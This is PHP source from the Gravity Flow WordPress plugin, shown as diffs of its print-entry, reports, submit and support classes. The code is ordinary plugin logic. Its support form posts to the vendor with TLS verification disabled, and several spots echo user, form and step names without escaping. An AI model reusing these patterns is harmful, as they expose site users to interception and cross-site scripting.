if ( ! $permission_granted ) {
esc_attr_e( "You don't have permission to view this entry.", 'gravityflow' );
continue;
}
Gravity_Flow_Entry_Detail::entry_detail_grid( $form, $entry, false, array(), $current_step );
echo '</form>';
if ( rgget( 'timelines' ) ) {
Gravity_Flow_Entry_Detail::timeline( $entry, $form );
}
// Output entry divider/page break.
if ( array_search( $entry_id, $entry_ids ) < count( $entry_ids ) - 1 ) {
echo '<div class="print-hr ' . $page_break . '"></div>';
}
do_action( 'gravityflow_print_entry_footer', $form, $entry );
}
?>
</div>
</body>
</html>
<?php
}
/**
* Get an array of entry IDs to be printed.
*
* @return array
*/
public static function get_entry_ids() {
$entries = rgget( 'lid' );
if ( 0 == $entries ) {
// Get all the entry ids for the current filter/search.
$form_id = 0;
$search_criteria = self::get_search_criteria();
$entry_ids = GFFormsModel::search_lead_ids( $form_id, $search_criteria );
} else {
$entry_ids = explode( ',', $entries );
}
// Sort lead IDs numerically.
sort( $entry_ids );
return $entry_ids;
}
/**
* Retrieve the search criteria to use when getting the entry ids.
*
* @return array
*/
public static function get_search_criteria() {
$search_criteria = array();
$filter = rgget( 'filter' );
$star = $filter == 'star' ? 1 : null;
$read = $filter == 'unread' ? 0 : null;
$status = in_array( $filter, array( 'trash', 'spam' ) ) ? $filter : 'active';
$search_criteria['status'] = $status;
if ( $star !== null ) {
$search_criteria['field_filters'][] = array( 'key' => 'is_starred', 'value' => (bool) $star );
}
if ( ! is_null( $read ) ) {
$search_criteria['field_filters'][] = array( 'key' => 'is_read', 'value' => (bool) $read );
}
$search_field_id = rgget( 'field_id' );
if ( isset( $_GET['field_id'] ) && $_GET['field_id'] !== '' ) {
$key = $search_field_id;
$val = rgget( 's' );
$strpos_row_key = strpos( $search_field_id, '|' );
if ( $strpos_row_key !== false ) { // Multi-row.
$key_array = explode( '|', $search_field_id );
$key = $key_array[0];
$val = $key_array[1] . ':' . $val;
}
$search_criteria['field_filters'][] = array(
'key' => $key,
'operator' => rgempty( 'operator', $_GET ) ? 'is' : rgget( 'operator' ),
'value' => $val,
);
}
return $search_criteria;
}
/**
* Output the print header.
*
* @param array $entry_ids The IDs of the entries to be included in this printout.
*/
public static function get_header( $entry_ids ) {
$min = defined( 'SCRIPT_DEBUG' ) && SCRIPT_DEBUG || isset( $_GET['gform_debug'] ) ? '' : '.min';
?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"<?php echo ( is_rtl() ) ? ' dir="rtl"' : ''; ?>>
<head>
<meta http-equiv="Content-type" content="text/html; charset=utf-8"/>
<meta name="keywords" content=""/>
<meta name="description" content=""/>
<meta name="MSSmartTagsPreventParsing" content="true"/>
<meta name="Robots" content="noindex, nofollow"/>
<meta http-equiv="Imagetoolbar" content="No"/>
<title>
<?php
$entry_count = count( $entry_ids );
$title = $entry_count > 1 ? esc_html__( 'Bulk Print', 'gravityflow' ) : esc_html__( 'Entry # ', 'gravityflow' ) . absint( $entry_ids[0] );
$title = apply_filters( 'gravityflow_page_title_print_entry', $title, $entry_count );
echo esc_html( $title );
?>
</title>
<link rel='stylesheet' href='<?php echo GFCommon::get_base_url() ?>/css/print<?php echo $min; ?>.css' type='text/css'/>
<link rel='stylesheet' href='<?php echo gravity_flow()->get_base_url() ?>/css/entry-detail<?php echo $min; ?>.css' type='text/css'/>
<link rel='stylesheet' href='<?php echo gravity_flow()->get_base_url() ?>/css/discussion-field<?php echo $min; ?>.css' type='text/css'/>
<?php
$styles = apply_filters( 'gravityflow_print_styles', false );
if ( ! empty( $styles ) ) {
wp_print_styles( $styles );
}
?>
</head>
<?php
}
/**
* Returns the status for the current user.
*
* @param Gravity_Flow_Step $current_step The current step for the entry being processed.
*
* @return bool|mixed
*/
public static function get_user_status( $current_step ) {
$user_status = false;
if ( $current_step ) {
$user_status = $current_step->get_user_status();
gravity_flow()->log_debug( __METHOD__ . '() - user status = ' . $user_status );
if ( ! $user_status ) {
$user_roles = gravity_flow()->get_user_roles();
foreach ( $user_roles as $user_role ) {
$user_status = $current_step->get_role_status( $user_role );
if ( $user_status ) {
break;
}
}
}
}
return $user_status;
}
}

View File

@@ -0,0 +1,672 @@
<?php
/**
* Gravity Flow Reports
*
* @package GravityFlow
* @subpackage Classes/Gravity_Flow_Reports
* @copyright Copyright (c) 2015-2018, Steven Henty S.L.
* @license http://opensource.org/licenses/gpl-2.0.php GNU Public License
* @since 1.0
*/
if ( ! class_exists( 'GFForms' ) ) {
die();
}
/**
* Class Gravity_Flow_Reports
*/
class Gravity_Flow_Reports {
/**
* Display of the reports page
*
* @param array $args The reports page arguments.
*/
public static function display( $args ) {
$assignee_key = sanitize_text_field( rgget( 'assignee' ) );
list( $assignee_type, $assignee_id ) = rgexplode( '|', $assignee_key, 2 );
$range = sanitize_key( rgget( 'range' ) );
switch ( $range ) {
case 'last-6-months' :
$start_date = date( 'Y-m-d', strtotime( '-6 months' ) );
break;
case 'last-3-months' :
$start_date = date( 'Y-m-d', strtotime( '-3 months' ) );
break;
default :
$start_date = date( 'Y-m-d', strtotime( '-1 year' ) );
}
$defaults = array(
'view' => rgget( 'view' ),
'form_id' => absint( rgget( 'form-id' ) ),
'step_id' => absint( rgget( 'step-id' ) ),
'category' => sanitize_key( rgget( 'category' ) ),
'range' => $range,
'start_date' => $start_date,
'assignee' => $assignee_key,
'assignee_type' => $assignee_type,
'assignee_id' => $assignee_id,
'check_permissions' => true,
'base_url' => admin_url( 'admin.php?page=gravityflow-reports' ),
);
$args = array_merge( $defaults, $args );
if ( $args['check_permissions'] && ! GFAPI::current_user_can_any( 'gravityflow_reports' ) ) {
esc_html_e( "You don't have permission to view this page", 'gravityflow' );
return;
}
$filter_vars['config'] = self::get_filter_config_vars();
$filter_vars['selected'] = array(
'formId' => $args['form_id'],
'category' => $args['category'],
'stepId' => empty( $args['step_id'] ) ? '' : $args['step_id'],
'assignee' => $args['assignee'],
);
?>
<script>var gravityflowFilterVars = <?php echo json_encode( $filter_vars ); ?>;</script>
<div id="gravityflow-reports-filter" style="margin:10px 0;">
<form method="GET" action="<?php echo esc_url( $args['base_url'] );?>">
<input type="hidden" value="gravityflow-reports" name="page" />
<?php self::range_drop_down( $args['range'] ); ?>
<?php self::form_drop_down( $args['form_id'] ); ?>
<?php self::category_drop_down( $args['category'] ); ?>
<select id="gravityflow-reports-steps" style="display:none;" name="step-id"></select>
<select id="gravityflow-reports-assignees" style="display:none;" name="assignee"></select>
<input type="submit" value="<?php esc_html_e( 'Filter', 'gravityflow' )?>" class="button-secondary" />
</form>
</div>
<?php
if ( empty( $args['form_id'] ) ) {
self::report_all_forms( $args );
return;
}
$form_id = $args['form_id'];
if ( $args['category'] == 'assignee' ) {
if ( empty( $args['assignee_key'] ) ) {
self::report_form_by_assignee( $form_id, $args );
}
} elseif ( $args['category'] == 'step' ) {
if ( empty( $args['step_id'] ) ) {
self::report_form_by_step( $form_id, $args );
} else {
$step_id = $args['step_id'];
if ( empty( $args['assignee_id'] ) ) {
self::report_step_by_assignee( $step_id, $args );
} else {
$assignee_type = $args['assignee_type'];
$assignee_id = $args['assignee_id'];
self::report_assignee_by_month( $assignee_type, $assignee_id, $args );
}
}
} else {
self::report_form_by_month( $form_id, $args );
}
}
/**
* Output the report for all forms.
*
* @param array $args The reports page arguments.
*/
public static function report_all_forms( $args ) {
$defaults = array(
'start_date' => date( 'Y-m-d', strtotime( '-1 year' ) ),
'check_permissions' => true,
'base_url' => admin_url(),
);
$args = array_merge( $defaults, $args );
$rows = Gravity_Flow_Activity::get_report_data_for_all_forms( $args['start_date'] );
if ( empty( $rows ) ) {
esc_html_e( 'No data to display', 'gravityflow' );
return;
}
$chart_data = array();
$chart_data[] = array( esc_html__( 'Form', 'gravityflow' ), esc_html__( 'Workflows Completed', 'gravityflow' ), esc_html__( 'Average Duration (hours)', 'gravityflow' ) );
foreach ( $rows as $row ) {
$form = GFAPI::get_form( $row->form_id );
$title = esc_html( $form['title'] );
$chart_data[] = array( $title, absint( $row->c ), absint( $row->av ) / HOUR_IN_SECONDS );
}
$chart_options = array(
'chart' => array(
'title' => esc_html__( 'Forms', 'gravityflow' ),
'subtitle' => esc_html__( 'Workflows completed and average duration', 'gravityflow' ),
),
'bars' => 'horizontal',
'height' => 200 + count( $rows ) * 100,
'series' => array(
array( 'axis' => 'count' ),
array( 'axis' => 'average_duration' ),
),
'axes' => array(
'x' => array(
'count' => array( 'side' => 'top',
'label' => esc_html__( 'Workflows Completed', 'gravityflow' )
),
'average_duration' => array( 'label' => esc_html__( 'Average Duration (hours)', 'gravityflow' ) ),
),
),
);
$data_table_json = htmlentities( json_encode( $chart_data ), ENT_QUOTES, 'UTF-8', true );
$options_json = htmlentities( json_encode( $chart_options ), ENT_QUOTES, 'UTF-8', true );
echo '<div id="gravityflow_chart_top_level" style="padding:20px;background-color:white;" class="gravityflow_chart" data-type="Bar" data-table="' . $data_table_json . '" data-options="' . $options_json . '""></div>';
}
/**
* Output the report for a specific form by month.
*
* @param int $form_id The form ID.
* @param array $args The reports page arguments.
*/
public static function report_form_by_month( $form_id, $args ) {
$defaults = array(
'start_date' => date( 'Y-m-d', strtotime( '-1 year' ) ),
'check_permissions' => true,
'base_url' => admin_url(),
);
$args = array_merge( $defaults, $args );
$rows = Gravity_Flow_Activity::get_report_data_for_form( $form_id, $args['start_date'] );
if ( empty( $rows ) ) {
esc_html_e( 'No data to display', 'gravityflow' );
return;
}
$chart_data = array();
$chart_data[] = array( esc_html__( 'Month', 'gravityflow' ), esc_html__( 'Workflows Completed', 'gravityflow' ), esc_html__( 'Average Duration (hours)', 'gravityflow' ) );
global $wp_locale;
foreach ( $rows as $row ) {
$chart_data[] = array( $wp_locale->get_month( $row->month ), absint( $row->c ), absint( $row->av ) / HOUR_IN_SECONDS );
}
$form = GFAPI::get_form( $form_id );
$chart_options = array(
'chart' => array(
'title' => esc_html( $form['title'] ),
'subtitle' => esc_html__( 'Workflows completed and average duration', 'gravityflow' ),
),
'bars' => 'horizontal',
'height' => 200 + count( $rows ) * 100,
'series' => array(
array( 'axis' => 'count' ),
array( 'axis' => 'average_duration' ),
),
'axes' => array(
'x' => array(
'count' => array( 'side' => 'top',
'label' => esc_html__( 'Workflows Completed', 'gravityflow' )
),
'average_duration' => array( 'label' => esc_html__( 'Average Duration (hours)', 'gravityflow' ) ),
),
),
);
$data_table_json = htmlentities( json_encode( $chart_data ), ENT_QUOTES, 'UTF-8', true );
$options_json = htmlentities( json_encode( $chart_options ), ENT_QUOTES, 'UTF-8', true );
echo '<div id="gravityflow_chart_top_level" style="padding:20px;background-color:white;" class="gravityflow_chart" data-type="Bar" data-table="' . $data_table_json . '" data-options="' . $options_json . '""></div>';
}
/**
* Output the report for a specific form by step.
*
* @param int $form_id The form ID.
* @param array $args The reports page arguments.
*/
public static function report_form_by_step( $form_id, $args ) {
$defaults = array(
'start_date' => date( 'Y-m-d', strtotime( '-1 year' ) ),
'check_permissions' => true,
'base_url' => admin_url(),
);
$args = array_merge( $defaults, $args );
$rows = Gravity_Flow_Activity::get_report_data_for_form_by_step( $form_id, $args['start_date'] );
if ( empty( $rows ) ) {
esc_html_e( 'No data to display', 'gravityflow' );
return;
}
$chart_data = array();
$chart_data[] = array( esc_html__( 'Step', 'gravityflow' ), esc_html__( 'Completed', 'gravityflow' ), esc_html__( 'Average Duration (hours)', 'gravityflow' ) );
foreach ( $rows as $row ) {
$step = gravity_flow()->get_step( $row->feed_id );
if ( empty( $step ) ) {
continue;
}
$name = esc_html( $step->get_name() );
$chart_data[] = array( $name, absint( $row->c ), absint( $row->av ) / HOUR_IN_SECONDS );
}
$form = GFAPI::get_form( $form_id );
$chart_options = array(
'chart' => array(
'title' => esc_html( $form['title'] ),
'subtitle' => esc_html__( 'Step completed and average duration', 'gravityflow' ),
),
'bars' => 'horizontal',
'height' => 200 + count( $rows ) * 100,
'series' => array(
array( 'axis' => 'count' ),
array( 'axis' => 'average_duration' ),
),
'axes' => array(
'x' => array(
'count' => array( 'side' => 'top', 'label' => esc_html__( 'Completed', 'gravityflow' ) ),
'average_duration' => array( 'label' => esc_html__( 'Average Duration (hours)', 'gravityflow' ) ),
),
),
);
$data_table_json = htmlentities( json_encode( $chart_data ), ENT_QUOTES, 'UTF-8', true );
$options_json = htmlentities( json_encode( $chart_options ), ENT_QUOTES, 'UTF-8', true );
echo '<div id="gravityflow_chart_top_level" style="padding:20px;background-color:white;" class="gravityflow_chart" data-type="Bar" data-table="' . $data_table_json . '" data-options="' . $options_json . '""></div>';
}
/**
* Output the report for a specific step by assignee.
*
* @param int $step_id The step ID.
* @param array $args The reports page arguments.
*/
public static function report_step_by_assignee( $step_id, $args ) {
$defaults = array(
'start_date' => date( 'Y-m-d', strtotime( '-1 year' ) ),
'check_permissions' => true,
'base_url' => admin_url( 'admin.php?page=gravityflow-reports' ),
);
$args = array_merge( $defaults, $args );
$step = gravity_flow()->get_step( $step_id );
if ( empty( $step ) ) {
return;
}
$rows = Gravity_Flow_Activity::get_report_data_for_step_by_assignee( $step_id, $args['start_date'] );
if ( empty( $rows ) ) {
esc_html_e( 'No data to display', 'gravityflow' );
return;
}
$chart_data = array();
$chart_data[] = array( esc_html__( 'Assignee', 'gravityflow' ), esc_html__( 'Completed', 'gravityflow' ), esc_html__( 'Average Duration (hours)', 'gravityflow' ) );
foreach ( $rows as $row ) {
if ( $row->assignee_type == 'user_id' ) {
$user = get_user_by( 'id', $row->assignee_id );
$display_name = $user->display_name;
} else {
$display_name = $row->assignee_id;
}
$chart_data[] = array( $display_name, absint( $row->c ), absint( $row->av ) / HOUR_IN_SECONDS );
}
$chart_options = array(
'chart' => array(
'title' => esc_html( $step->get_name() ),
'subtitle' => esc_html__( 'Step completed and average duration by assignee', 'gravityflow' ),
),
'bars' => 'horizontal',
'height' => 200 + count( $rows ) * 100,
'series' => array(
array( 'axis' => 'count' ),
array( 'axis' => 'average_duration' ),
),
'axes' => array(
'x' => array(
'count' => array( 'side' => 'top', 'label' => esc_html__( 'Completed', 'gravityflow' ) ),
'average_duration' => array( 'label' => esc_html__( 'Average Duration (hours)', 'gravityflow' ) ),
),
),
);
$data_table_json = htmlentities( json_encode( $chart_data ), ENT_QUOTES, 'UTF-8', true );
$options_json = htmlentities( json_encode( $chart_options ), ENT_QUOTES, 'UTF-8', true );
echo '<div id="gravityflow_chart_top_level" style="padding:20px;background-color:white;" class="gravityflow_chart" data-type="Bar" data-table="' . $data_table_json . '" data-options="' . $options_json . '""></div>';
}
/**
* Output the report for a specific form by assignee.
*
* @param int $form_id The form ID.
* @param array $args The reports page arguments.
*/
public static function report_form_by_assignee( $form_id, $args ) {
$defaults = array(
'start_date' => date( 'Y-m-d', strtotime( '-1 year' ) ),
'check_permissions' => true,
'base_url' => admin_url( 'admin.php?page=gravityflow-reports' ),
);
$args = array_merge( $defaults, $args );
$rows = Gravity_Flow_Activity::get_report_data_for_form_by_assignee( $form_id, $args['start_date'] );
if ( empty( $rows ) ) {
esc_html_e( 'No data to display', 'gravityflow' );
return;
}
$chart_data = array();
$chart_data[] = array( esc_html__( 'Assignee', 'gravityflow' ), esc_html__( 'Completed', 'gravityflow' ), esc_html__( 'Average Duration (hours)', 'gravityflow' ) );
foreach ( $rows as $row ) {
if ( $row->assignee_type == 'user_id' ) {
$user = get_user_by( 'id', $row->assignee_id );
$display_name = $user->display_name;
} else {
$display_name = $row->assignee_id;
}
$chart_data[] = array( $display_name, absint( $row->c ), absint( $row->av ) / HOUR_IN_SECONDS );
}
$form = GFAPI::get_form( $form_id );
$chart_options = array(
'chart' => array(
'title' => esc_html( $form['title'] ),
'subtitle' => esc_html__( 'Step completed and average duration by assignee', 'gravityflow' ),
),
'bars' => 'horizontal',
'height' => 200 + count( $rows ) * 100,
'series' => array(
array( 'axis' => 'count' ),
array( 'axis' => 'average_duration' ),
),
'axes' => array(
'x' => array(
'count' => array( 'side' => 'top', 'label' => esc_html__( 'Completed', 'gravityflow' ) ),
'average_duration' => array( 'label' => esc_html__( 'Average Duration (hours)', 'gravityflow' ) ),
),
),
);
$data_table_json = htmlentities( json_encode( $chart_data ), ENT_QUOTES, 'UTF-8', true );
$options_json = htmlentities( json_encode( $chart_options ), ENT_QUOTES, 'UTF-8', true );
echo '<div id="gravityflow_chart_top_level" style="padding:20px;background-color:white;" class="gravityflow_chart" data-type="Bar" data-table="' . $data_table_json . '" data-options="' . $options_json . '""></div>';
}
/**
* Output the report for a specific assignee by month.
*
* @param string $assignee_type The assignee type.
* @param string $assignee_id The assignee ID.
* @param array $args The reports page arguments.
*/
public static function report_assignee_by_month( $assignee_type, $assignee_id, $args ) {
$defaults = array(
'start_date' => date( 'Y-m-d', strtotime( '-1 year' ) ),
'check_permissions' => true,
'base_url' => admin_url( 'admin.php?page=gravityflow-reports' ),
);
$args = array_merge( $defaults, $args );
$rows = Gravity_Flow_Activity::get_report_data_for_assignee_by_month( $assignee_type, $assignee_id, $args['start_date'] );
if ( empty( $rows ) ) {
esc_html_e( 'No data to display', 'gravityflow' );
return;
}
$chart_data = array();
$chart_data[] = array( esc_html__( 'Month', 'gravityflow' ), esc_html__( 'Workflows Completed', 'gravityflow' ), esc_html__( 'Average Duration (hours)', 'gravityflow' ) );
global $wp_locale;
foreach ( $rows as $row ) {
$chart_data[] = array( $wp_locale->get_month( $row->month ) . ' ' . $row->year, absint( $row->c ), absint( $row->av ) / HOUR_IN_SECONDS );
}
if ( $assignee_type == 'user_id' ) {
$user = get_user_by( 'id', $assignee_id );
$display_name = $user->display_name;
} else {
$display_name = $assignee_id;
}
$chart_options = array(
'chart' => array(
'title' => esc_html( $display_name ),
'subtitle' => esc_html__( 'Workflows completed and average duration by month', 'gravityflow' ),
),
'bars' => 'horizontal',
'height' => 200 + count( $rows ) * 100,
'series' => array(
array( 'axis' => 'count' ),
array( 'axis' => 'average_duration' ),
),
'axes' => array(
'x' => array(
'count' => array( 'side' => 'top',
'label' => esc_html__( 'Workflows Completed', 'gravityflow' )
),
'average_duration' => array( 'label' => esc_html__( 'Average Duration (hours)', 'gravityflow' ) ),
),
),
);
$data_table_json = htmlentities( json_encode( $chart_data ), ENT_QUOTES, 'UTF-8', true );
$options_json = htmlentities( json_encode( $chart_options ), ENT_QUOTES, 'UTF-8', true );
echo '<div id="gravityflow_chart_top_level" style="padding:20px;background-color:white;" class="gravityflow_chart" data-type="Bar" data-table="' . $data_table_json . '" data-options="' . $options_json . '""></div>';
}
/**
* Format the duration for output.
*
* @param int $seconds The duration in seconds.
*
* @return string
*/
public static function format_duration( $seconds ) {
return gravity_flow()->format_duration( $seconds );
}
/**
* Returns the HTML for the form drop down.
*
* @param string|int $selected_value The selected form.
* @param bool $echo Indicates if the content should be echoed.
*
* @return string
*/
public static function form_drop_down( $selected_value, $echo = true ) {
$m = array();
$m[] = '<select id="gravityflow-form-drop-down" name="form-id">';
$m[] = sprintf( '<option value="" %s>%s</option>', selected( $selected_value, '', false ) , esc_html__( 'Select A Workflow Form', 'gravityflow' ) );
$form_ids = self::get_form_ids();
foreach ( $form_ids as $form_id ) {
$form = GFAPI::get_form( $form_id );
$m[] = sprintf( '<option value="%s" %s>%s</option>', $form_id, selected( $selected_value, $form_id, false ), $form['title'] );
}
$m[] = '</select>';
$html = join( '', $m );
if ( $echo ) {
echo $html;
}
return $html;
}
/**
* Returns the HTML for the range drop down.
*
* @param string|int $selected_value The selected range.
* @param bool $echo Indicates if the content should be echoed.
*
* @return string
*/
public static function range_drop_down( $selected_value, $echo = true ) {
$m = array();
$m[] = '<select id="gravityflow-reports-range" name="range">';
$m[] = sprintf( '<option value="last-12-months" %s>%s</option>', selected( $selected_value, 'last-12-months', false ), esc_html__( 'Last 12 months', 'gravityflow' ) );
$m[] = sprintf( '<option value="last-6-months" %s>%s</option>', selected( $selected_value, 'last-6-months', false ), esc_html__( 'Last 6 months', 'gravityflow' ) );
$m[] = sprintf( '<option value="last-3-months" %s>%s</option>', selected( $selected_value, 'last-3-months', false ), esc_html__( 'Last 3 months', 'gravityflow' ) );
$m[] = '</select>';
$html = join( '', $m );
if ( $echo ) {
echo $html;
}
return $html;
}
/**
* Returns the HTML for the category drop down.
*
* @param string|int $selected_value The selected category.
* @param bool $echo Indicates if the content should be echoed.
*
* @return string
*/
public static function category_drop_down( $selected_value, $echo = true ) {
$m = array();
$m[] = '<select id="gravityflow-reports-category" name="category" style="display:none;">';
$m[] = sprintf( '<option value="month" %s>%s</option>', selected( $selected_value, 'month', false ), esc_html__( 'Month', 'gravityflow' ) );
$m[] = sprintf( '<option value="assignee" %s >%s</option>', selected( $selected_value, 'assignee', false ), esc_html__( 'Assignee', 'gravityflow' ) );
$m[] = sprintf( '<option value="step" %s >%s</option>', selected( $selected_value, 'step', false ), esc_html__( 'Step', 'gravityflow' ) );
$m[] = '</select>';
$html = join( '', $m );
if ( $echo ) {
echo $html;
}
return $html;
}
/**
* Output the step filter.
*
* @param array $args The reports page arguments.
*/
public static function step_filter( $args ) {
?>
<form method="GET" action="<?php echo esc_url( $args['base_url'] );?>">
<input type="hidden" value="step" name="view"/>
<input type="hidden" value="gravityflow-reports" name="page" />
<?php self::step_drop_down( $args['form_id'] ); ?>
<input type="submit" value="<?php esc_html_e( 'Filter', 'gravityflow' )?>" />
</form>
<?php
}
/**
* Returns the HTML for the step drop down.
*
* @param int $form_id The form ID.
* @param bool $echo Indicates if the content should be echoed.
*
* @return string
*/
public static function step_drop_down( $form_id, $echo = true ) {
$m = array();
$m[] = '<select id="gravityflow-step-drop-down" name="step-id">';
$m[] = sprintf( '<option value="">%s</option>', esc_html__( 'All Steps', 'gravityflow' ) );
$steps = gravity_flow()->get_steps( $form_id );
foreach ( $steps as $step ) {
$m[] = sprintf( '<option value="%s">%s</option>', $step->get_id(), $step->get_name() );
}
$m[] = '</select>';
$html = join( '', $m );
if ( $echo ) {
echo $html;
}
return $html;
}
/**
* Get an array of form IDs which have workflows.
*
* @return array
*/
public static function get_form_ids() {
return gravity_flow()->get_workflow_form_ids();
}
/**
* Returns step and assignee properties to be used when rendering the filters.
*
* @return array
*/
public static function get_filter_config_vars() {
$form_ids = self::get_form_ids();
$steps_vars = array();
foreach ( $form_ids as $form_id ) {
$steps = gravity_flow()->get_steps( $form_id );
$steps_vars[ $form_id ] = array();
foreach ( $steps as $step ) {
$assignees = $step->get_assignees();
$assignee_vars = array();
foreach ( $assignees as $assignee ) {
$assignee_id = $assignee->get_id();
if ( ! empty( $assignee_id ) ) {
$assignee_vars[] = array( 'key' => $assignee->get_key(),
'name' => $assignee->get_display_name()
);
}
}
$steps_vars[ $form_id ][ $step->get_id() ] = array( 'id' => $step->get_id(),
'name' => $step->get_name(),
'assignees' => $assignee_vars
);
}
}
return $steps_vars;
}
}

File diff suppressed because it is too large Load Diff

View File

@@ -0,0 +1,68 @@
<?php
/**
* Gravity Flow Submit
*
* @package GravityFlow
* @subpackage Classes/Gravity_Flow_Submit
* @copyright Copyright (c) 2015-2018, Steven Henty S.L.
* @license http://opensource.org/licenses/gpl-2.0.php GNU Public License
*/
if ( ! class_exists( 'GFForms' ) ) {
die();
}
/**
* Class Gravity_Flow_Submit
*
* @since 1.0
*/
class Gravity_Flow_Submit {
/**
* Displays the content for the submit page.
*
* @param array $form_ids The forms which should be available for submissions.
* @param bool $is_admin Indicates if this is the admin page.
*/
public static function list_page( $form_ids, $is_admin ) {
if ( empty( $form_ids ) ) {
esc_html_e( "You haven't submitted any workflow forms yet.", 'gravityflow' );
return;
}
$items = array();
foreach ( $form_ids as $form_id ) {
$form = GFAPI::get_form( $form_id );
if ( ! $form ) {
continue;
}
$title = sprintf( '<div class="gravityflow-initiate-form-title">%s</div>', rgar( $form, 'title' ) );
$description = sprintf( '<div class="gravityflow-initiate-form-description">%s</div>', rgar( $form, 'description' ) );
$form_id = absint( $form_id );
$url = $is_admin ? admin_url( 'admin.php?page=gravityflow-submit&id=' . $form_id ) : add_query_arg( array(
'page' => 'gravityflow-submit',
'id' => $form_id,
) );
$block = sprintf( '<a href="%s"><div class="panel">%s%s</div></a>', $url, $title, $description );
$items[] = sprintf( '<li id="gravityflow-initiate-form-%d">%s</li>', $form_id, $block );
}
$list = sprintf( '<ul id="gravityflow-initiate-list">%s</a></ul>', join( '', $items ) );
echo $list;
}
/**
* Outputs the specified form.
*
* @param int $form_id The form ID.
*/
public static function form( $form_id ) {
gravity_form_enqueue_scripts( $form_id );
gravity_form( $form_id );
}
}

View File

@@ -0,0 +1,271 @@
<?php
/**
* Gravity Flow Support
*
* @package GravityFlow
* @subpackage Classes/Gravity_Flow_Support
* @copyright Copyright (c) 2015-2018, Steven Henty S.L.
* @license http://opensource.org/licenses/gpl-2.0.php GNU Public License
*/
if ( ! class_exists( 'GFForms' ) ) {
die();
}
/**
* Class Gravity_Flow_Support
*
* @since 1.0
*/
class Gravity_Flow_Support {
/**
* Displays the support page content.
*/
public static function display() {
$license_message = '';
$license_key = gravity_flow()->get_app_setting( 'license_key' );
if ( empty( $license_key ) ) {
$activate_url = admin_url( 'admin.php?page=gravityflow_settings' );
/* Translators: the placeholders are link tags pointing to the Gravity Flow settings page */
$license_message = sprintf( esc_html__( 'Please %1$sactivate%2$s your license to access this page.', 'gravityflow' ), "<a href=\"{$activate_url}\">", '</a>' );
} else {
$response = gravity_flow()->perform_edd_license_request( 'check_license', $license_key );
if ( is_wp_error( $response ) ) {
$license_message = esc_html__( 'A valid license key is required to access support but there was a problem validating your license key. Please log in to GravityFlow.io and open a support ticket.', 'gravityflow' );
} else {
$license_data = json_decode( wp_remote_retrieve_body( $response ) );
$valid = null;
if ( empty( $license_data ) || $license_data->license == 'invalid' ) {
$license_message = esc_html__( 'Invalid license key. A valid license key is required to access support. Please check the status of your license key in your account area on GravityFlow.io.', 'gravityflow' );
}
}
}
if ( ! empty( $license_message ) ) {
GFCommon::add_message( $license_message, true );
?>
<div class="wrap gf_entry_wrap">
<h2 class="gf_admin_page_title">
<span><?php esc_html_e( 'Gravity Flow Support', 'gravityflow' ); ?></span>
</h2>
<?php
GFCommon::display_admin_message();
?>
</div>
<?php
return;
}
$message = '';
if ( isset( $_POST['gravityflow_send_feedback'] ) ) {
check_admin_referer( 'gravityflow_feedback' );
$system_info = isset( $_POST['gravityflow_debug_info'] ) ? self::get_site_info() : '';
$body = array(
'input_values' => array(
'input_1' => rgpost( 'gravityflow_name' ),
'input_2' => rgpost( 'gravityflow_email' ),
'input_4' => rgpost( 'gravityflow_subject' ),
'input_3' => rgpost( 'gravityflow_description' ),
'input_5' => $system_info,
),
);
$body_json = json_encode( $body );
$options = array(
'method' => 'POST',
'timeout' => 30,
'redirection' => 5,
'blocking' => true,
'sslverify' => false,
'headers' => array(),
'body' => $body_json,
'cookies' => array(),
);
$raw_response = wp_remote_post( 'https://gravityflow.io/gravityformsapi/forms/3/submissions/', $options );
if ( is_wp_error( $raw_response ) ) {
$message = '<div class="error notice notice-error is-dismissible below-h2"><p>' . esc_html__( 'There was a problem submitting your request. Please open a support ticket on GravityFlow.io', 'gravityflow' ) . '</p></div>';
}
$response_json = wp_remote_retrieve_body( $raw_response );
$response = json_decode( $response_json, true );
if ( rgar( $response, 'status' ) == '200' ) {
$message = '<div class="updated notice notice-success is-dismissible below-h2"><p>' . esc_html__( 'Thank you! We\'ll be in touch soon.', 'gravityflow' ) . '</p></div>';
}
}
$user = wp_get_current_user();
?>
<style>
.gravityflow_feedback_form label {
padding: 20px 0 10px;
display: block;
font-weight: bold;
}
</style>
<div class="wrap gf_entry_wrap">
<h2 class="gf_admin_page_title">
<span><?php esc_html_e( 'Gravity Flow Support', 'gravityflow' ); ?></span>
</h2>
<p>
<?php esc_html_e( 'Please check the documentation before submitting a support request', 'gravityflow' ); ?>
</p>
<p>
<a href="http://docs.gravityflow.io">http://docs.gravityflow.io</a>
</p>
<hr />
<?php echo $message; ?>
<form action="" method="POST">
<?php
wp_nonce_field( 'gravityflow_feedback' );
?>
<div class="gravityflow_feedback_form">
<label for="gravityflow_name">
<?php esc_html_e( 'Name', 'gravityflow' ); ?>
</label>
<input id="gravityflow_name" type="text" class="regular-text" name="gravityflow_name" value="<?php echo $user->display_name; ?>"/>
<label for="gravityflow_email">
<?php esc_html_e( 'Email', 'gravityflow' ); ?>
</label>
<input id="gravityflow_email" type="email" class="regular-text" name="gravityflow_email" value="<?php echo self::get_email(); ?>"/>
<label for="gravityflow_subject_suggestion">
<input id="gravityflow_subject_suggestion" type="radio" name="gravityflow_subject" value="suggestion" checked="checked"/>
<?php esc_html_e( 'General comment or suggestion', 'gravityflow' ); ?>
</label>
<label for="gravityflow_subject_feature_request">
<input id="gravityflow_subject_feature_request" type="radio" name="gravityflow_subject" value="feature request"/>
<?php esc_html_e( 'Feature request', 'gravityflow' ); ?>
</label>
<label for="gravityflow_subject_bug_report">
<input id="gravityflow_subject_bug_report" type="radio" name="gravityflow_subject" value="bug report"/>
<?php esc_html_e( 'Bug report', 'gravityflow' ); ?>
</label>
<label for="gravityflow_description">
<?php esc_html_e( 'Suggestion or steps to reproduce the issue.', 'gravityflow' ); ?>
</label>
<textarea id="gravityflow_description" name="gravityflow_description" class="widefat" cols="50" rows="10"></textarea>
<label>
<input type="checkbox" name="gravityflow_debug_info" value="1" checked="checked"/>
<?php esc_html_e( 'Send debugging information. (This includes some system information and a list of active plugins. No forms or entry data will be sent.)', 'gravityflow' ); ?>
</label>
<br /><br />
<input id="gravityflow_send" type="submit" class="button button-primary button-large" name="gravityflow_send_feedback" value="<?php esc_html_e( 'Send', 'gravityflow' ); ?>" />
</div>
</form>
</div>
<?php
}
/**
